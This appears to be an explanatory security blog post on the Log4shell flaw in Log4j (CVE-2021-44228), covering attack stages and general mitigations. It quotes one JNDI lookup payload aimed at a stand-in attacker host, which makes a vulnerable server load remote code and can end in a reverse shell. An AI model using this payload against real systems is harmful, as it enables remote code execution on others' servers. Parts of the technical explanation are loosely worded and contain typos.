Log4j - the remote code execution vulnerability that stopped the world

Log4j is an open-source tool for logging purposes, and several services across the internet commonly use it. A critical vulnerability (CVE-2021-44228) dubbed log4shell was found on this library in November 2021, and successful exploitation can lead to a remote code execution condition.

About log4shell vulnerability

Log4shell vulnerability is a critical flaw identified in the Log4j logging tool, which is widely used by computers around the globe both in a personal and business context as a journal to keep track of what happens with the software and services. This critical vulnerability has impacted a large group of entities, including individuals, organizations, governments etc. A remote code execution condition can be achieved when successfully explored, putting the target at risk.

A large group of online services and third-party packages used this library for logging purposes, and identifying the usage of this vulnerable tool is not seen as a trivial process due to its dimension and complexity. Nonetheless, most web servers, applications, network devices and other software and hardware have used Log4kj for years. This creates an "infinite" attack landscape. Because of this, organizations should pay attention and research internally, try to find if the used software is vulnerable, maintain straightforward communication with vendors, and take all the necessary mitigations to fix the critical flaw. 

How log4shell works

According to the TrendMicro publication, the Log4j exploitation can be divided into different attack stages:

Figure 1: Log4j attack stages on a vulnerable online service (source).

In short, the diagram presents the main stages of how to explore the Log4shell vulnerability on a vulnerable online service by manipulating the User-Agent header from the HTTP web request.

As observed, the specially crafted payload (a malicious JNDI) is added to the User-Agent header, which is logged without sanitization by the vulnerable web application by using the Log4j library. 

After that, the payload is loaded ("${jndi:ldap://attacker/a}"), and it tries to communicate with the internal LDAP server on the network - a typical attack performed on red teaming assessments. In case of the remote loading of Java classes is enabled, the command will be successfully executed and the LDAP response can return two different responses:

1. The HTTP-response with the malicious payload embedded



2. or the response with details about the target (bingo).

After executing the target payload, a reverse-shell will pop up on the attacker's machine (the code used to create the initial JDNI payload). 

Understanding Log4j

Log4j vulnerability was quickly exploited by adversaries at any point of the globe, with millions of attacks stopped only by Symantec, as demonstrated in Figure 2.

Figure 2:  Part of the attacks were against services geolocated in US and UK (source).

While identification is not a straightforward process, implementing various measures can help you stop these types of attacks early and prevent potential risks to your business.

In this sense, the rule of thumb is to secure and limit the internet connection of critical assets internally. This is part of the risk analysis and must be performed before any deployment or setting update. If the target app doesn't communicate with the Internet-facing, adversaries cannot exploit it.

This topic falls on the control of the network security perimeter, network protocols, services configuration etc. A good opportunity for weakness identification is the execution of a red teaming exercise to determine potential attack vectors.

Last but not least, keeping updated all the assets continues to be the mandatory measure within the cyber security menu to protect against cyberattacks in the wild.

Sources:

• Log4j research, TrendMicro
• Mitigations Log4shell, Picussecurity
• Log4j vulnerability, National Cyber Security Center (UK)